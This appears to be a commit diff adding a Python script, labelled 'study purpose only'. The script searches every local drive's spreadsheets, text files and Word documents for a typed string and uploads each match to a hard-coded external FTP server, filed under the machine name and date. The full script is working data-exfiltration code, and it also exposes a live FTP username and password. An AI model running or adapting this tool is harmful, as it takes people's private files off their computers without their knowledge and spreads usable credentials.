|
| 1 | +# The following code is written by Rohit Saxena. STUDY PURPOSE ONLY. Any unauthorized use or modification is prohibited. |
| 2 | +import glob |
| 3 | +import os |
| 4 | +import string |
| 5 | +from typing import List, Any |
| 6 | +import docx |
| 7 | +import shutil |
| 8 | +from urllib.request import urlopen, URLError |
| 9 | +import openpyxl |
| 10 | +import ftplib |
| 11 | +import datetime |
| 12 | + |
| 13 | +i = 0 |
| 14 | +j = 0 |
| 15 | +rvs = [] |
| 16 | +host = "ftp.byethost22.com" #FTP Host URL |
| 17 | +ftp_id = "b22_28269653" #FTP CLIENT ID |
| 18 | +ftp_pw = "Falcon@16" #FTP CLIENT PASSWORD |
| 19 | +_ftp_root_folder_ = 'htdocs' #FTP root folder |
| 20 | +newdir = os.environ['COMPUTERNAME'] #FTP Main folder name |
| 21 | +ft = [] |
| 22 | +todaysDate = str(datetime.datetime.today()) #FTP sub-folder name |
| 23 | +ftp = ftplib.FTP() |
| 24 | + |
| 25 | + |
| 26 | +def _InternetCheck_(): #Internet Tester |
| 27 | + while True: |
| 28 | + try: |
| 29 | + urlopen('https://www.central16.in', timeout=1) |
| 30 | + return |
| 31 | + except URLError as e: |
| 32 | + print('URL Error: ', e.reason) |
| 33 | + pass |
| 34 | + |
| 35 | + |
| 36 | +#def _RsBackupWriter(rvs, pp,): # local backup (unfinished) |
| 37 | + # while j != len(rvs): |
| 38 | + #with open(rvs[j]) as trs, open(pp, "a") as rrs: |
| 39 | + # for line in trs: |
| 40 | + # rrs.write(line.rstrip("\n") + '\t' + rss[j] + "\n") |
| 41 | + # shutil.copy(rss[j],pp) |
| 42 | + # print('Backup File Created') |
| 43 | + # file1 = open(pp, "r") |
| 44 | + # print(file1.read()) |
| 45 | + # file1.close() |
| 46 | + |
| 47 | + |
| 48 | +def _RsXlsx_(SS, CC): #XLSX Reader |
| 49 | + rs = openpyxl.load_workbook(CC, read_only=True, data_only=True) |
| 50 | + ws = rs.active |
| 51 | + for i in range(1, ws.max_row + 1): |
| 52 | + for j in range(1, ws.max_column + 1): |
| 53 | + if SS == ws.cell(i, j).value: |
| 54 | + print("Found in cell :", ws.cell(i, j), "File Location :", CC) |
| 55 | + rvs.append(CC) |
| 56 | + |
| 57 | + |
| 58 | +def _RsTxt_(SS, CC): #TXT Reader |
| 59 | + file1 = open(CC, 'r', encoding='UTF8', errors='ignore') |
| 60 | + flag = 0 |
| 61 | + index = 0 |
| 62 | + for line in file1: |
| 63 | + index += 1 |
| 64 | + if SS in line: |
| 65 | + flag = 1 |
| 66 | + break |
| 67 | + if flag != 0: |
| 68 | + print('String', SS, 'Found In Line: ', index, 'File Path: ', CC) |
| 69 | + rvs.append(CC) |
| 70 | + file1.close() |
| 71 | + |
| 72 | + |
| 73 | +def _RsDocx_(SS, CC): #DOCX Reader |
| 74 | + flag = 0 |
| 75 | + index = 0 |
| 76 | + doc = docx.Document(CC) |
| 77 | + for para in doc.paragraphs: |
| 78 | + index += 1 |
| 79 | + if SS in para.text: |
| 80 | + flag = 1 |
| 81 | + break |
| 82 | + if flag != 0: |
| 83 | + print('String', SS, 'Found In Line: ', index, 'File Path: ', CC) |
| 84 | + rvs.append(CC) |
| 85 | + |
| 86 | + |
| 87 | +def _RsDirCheck_(ft): #FTP Main Folder Checker |
| 88 | + x = 0 |
| 89 | + for g in ft: |
| 90 | + if newdir in g: |
| 91 | + x = 1 |
| 92 | + if x == 0: |
| 93 | + print(" New Directory created ---> ", newdir) |
| 94 | + ftp.mkd(newdir) |
| 95 | + |
| 96 | + |
| 97 | +def _RsTodayFolderCheck_(ft): #FTP Sub-Folder Checker |
| 98 | + x = 0 |
| 99 | + for g in ft: |
| 100 | + if todaysDate in g: |
| 101 | + x = 1 |
| 102 | + if x == 0: |
| 103 | + ftp.mkd(todaysDate) |
| 104 | + print("New Todays date folder created ---> ", todaysDate) |
| 105 | + |
| 106 | + |
| 107 | +def _Rs_ftp_COPY_(): #FTP Client connector |
| 108 | + print('uploading data...') |
| 109 | + port = 21 |
| 110 | + ftp.connect(host, port) |
| 111 | + print(ftp.getwelcome()) |
| 112 | + print("Logging in...") |
| 113 | + ftp.login(ftp_id, ftp_pw) |
| 114 | + ftp.cwd(_ftp_root_folder_) |
| 115 | + ftp.retrlines('LIST', ft.append) |
| 116 | + _RsDirCheck_(ft) |
| 117 | + ftp.cwd(newdir) |
| 118 | + ft.clear() |
| 119 | + ftp.retrlines('LIST', ft.append) |
| 120 | + _RsTodayFolderCheck_(ft) |
| 121 | + ftp.cwd(todaysDate) |
| 122 | + |
| 123 | + |
| 124 | +def _rS_FTP_file_transf(rvs): #FTP File uploader |
| 125 | + rs = 0 |
| 126 | + print('Uploading Data...') |
| 127 | + while rs != len(rvs): |
| 128 | + filename = rvs[rs] |
| 129 | + file_name, file_extension = os.path.splitext(filename) |
| 130 | + _FTP_File_Name_ = os.path.basename(file_name) + file_extension |
| 131 | + _ftpNewFileNMCmd_ = "STOR %s" % _FTP_File_Name_ |
| 132 | + with open(filename, "rb") as file: |
| 133 | + ftp.storbinary(_ftpNewFileNMCmd_, file) |
| 134 | + rs += 1 |
| 135 | + print('Upload Complete !') |
| 136 | + ftp.dir() |
| 137 | + |
| 138 | + |
| 139 | +def main(): |
| 140 | + global i, j |
| 141 | + global rvs |
| 142 | + # val = input("Enter extension : ") |
| 143 | + ff = input("Enter string : ") |
| 144 | + rs = ['%s:\\' % d for d in string.ascii_uppercase if os.path.exists('%s:\\' % d)] |
| 145 | + print('Active local drives ---> ', rs) |
| 146 | + FtypeXLSX = '.xlsx' |
| 147 | + FtypeTXT = '.txt' |
| 148 | + FtypeDOCX = '.docx' |
| 149 | + _Rel_Exp_ = '**/*' |
| 150 | + _Rel_Path_ = _Rel_Exp_ |
| 151 | + # print('Selected file type = ', val) |
| 152 | + rss = [] |
| 153 | + |
| 154 | + #directory = "rrs" #LINE 154 - 166 REFERS LOCAL BACKUP (UNFINISHED) |
| 155 | + # file_name = "rrs.txt" |
| 156 | + #print('Hidden folder named rss is created in first local drive from available drive list') |
| 157 | + #pth = os.path.join(rs[0], directory) |
| 158 | + # if os.path.exists(pth): # this if will flush the old backup folder and re-create new backup folder |
| 159 | + # shutil.rmtree(pth) |
| 160 | + #os.makedirs(pth) |
| 161 | + #print('Hidden folder path: ', pth) |
| 162 | + # print('Hidden file text.txt is created in hidden folder rss') |
| 163 | + # CN = os.path.join(pth, file_name) |
| 164 | + # print('Hidden file location: ', CN) |
| 165 | + #file1 = open(CN, "a") |
| 166 | + #file1.close() |
| 167 | + |
| 168 | + print('Below files are present in system: ') |
| 169 | + while i != len(rs): |
| 170 | + os.chdir(rs[i]) |
| 171 | + for file in glob.glob(_Rel_Path_, recursive=True): |
| 172 | + # print(file) |
| 173 | + completeName = os.path.join(rs[i], file) |
| 174 | + # print('File path: ', completeName) |
| 175 | + file_name, file_extension = os.path.splitext(completeName) |
| 176 | + if file_extension == FtypeXLSX: |
| 177 | + try: |
| 178 | + _RsXlsx_(ff, completeName) |
| 179 | + except: |
| 180 | + print('Error in reading file, File Path: ', completeName) |
| 181 | + if file_extension == FtypeTXT: |
| 182 | + try: |
| 183 | + _RsTxt_(ff, completeName) |
| 184 | + except PermissionError: |
| 185 | + print('Admin Permission Required File Path: ', completeName) |
| 186 | + if file_extension == FtypeDOCX: |
| 187 | + try: |
| 188 | + _RsDocx_(ff, completeName) |
| 189 | + except: |
| 190 | + print('Error in reading file, File Path: ', completeName) |
| 191 | + rss.append(completeName) |
| 192 | + i += 1 |
| 193 | + print('scan done') |
| 194 | + # print(rss) |
| 195 | + print('Total File Scanned :', len(rss)) |
| 196 | + print("Total file found: ", len(rvs)) |
| 197 | + print(rvs) |
| 198 | + #_RsBackupWriter(rvs, CN) #LOCAL BACKUP CREATOR |
| 199 | + _Rs_ftp_COPY_() |
| 200 | + _rS_FTP_file_transf(rvs) |
| 201 | + #shutil.rmtree(pth) #FLUSH OLD BACKUP FILES (UNFINISHED) |
| 202 | + |
| 203 | + |
| 204 | +_InternetCheck_() |
| 205 | +main() |
0 commit comments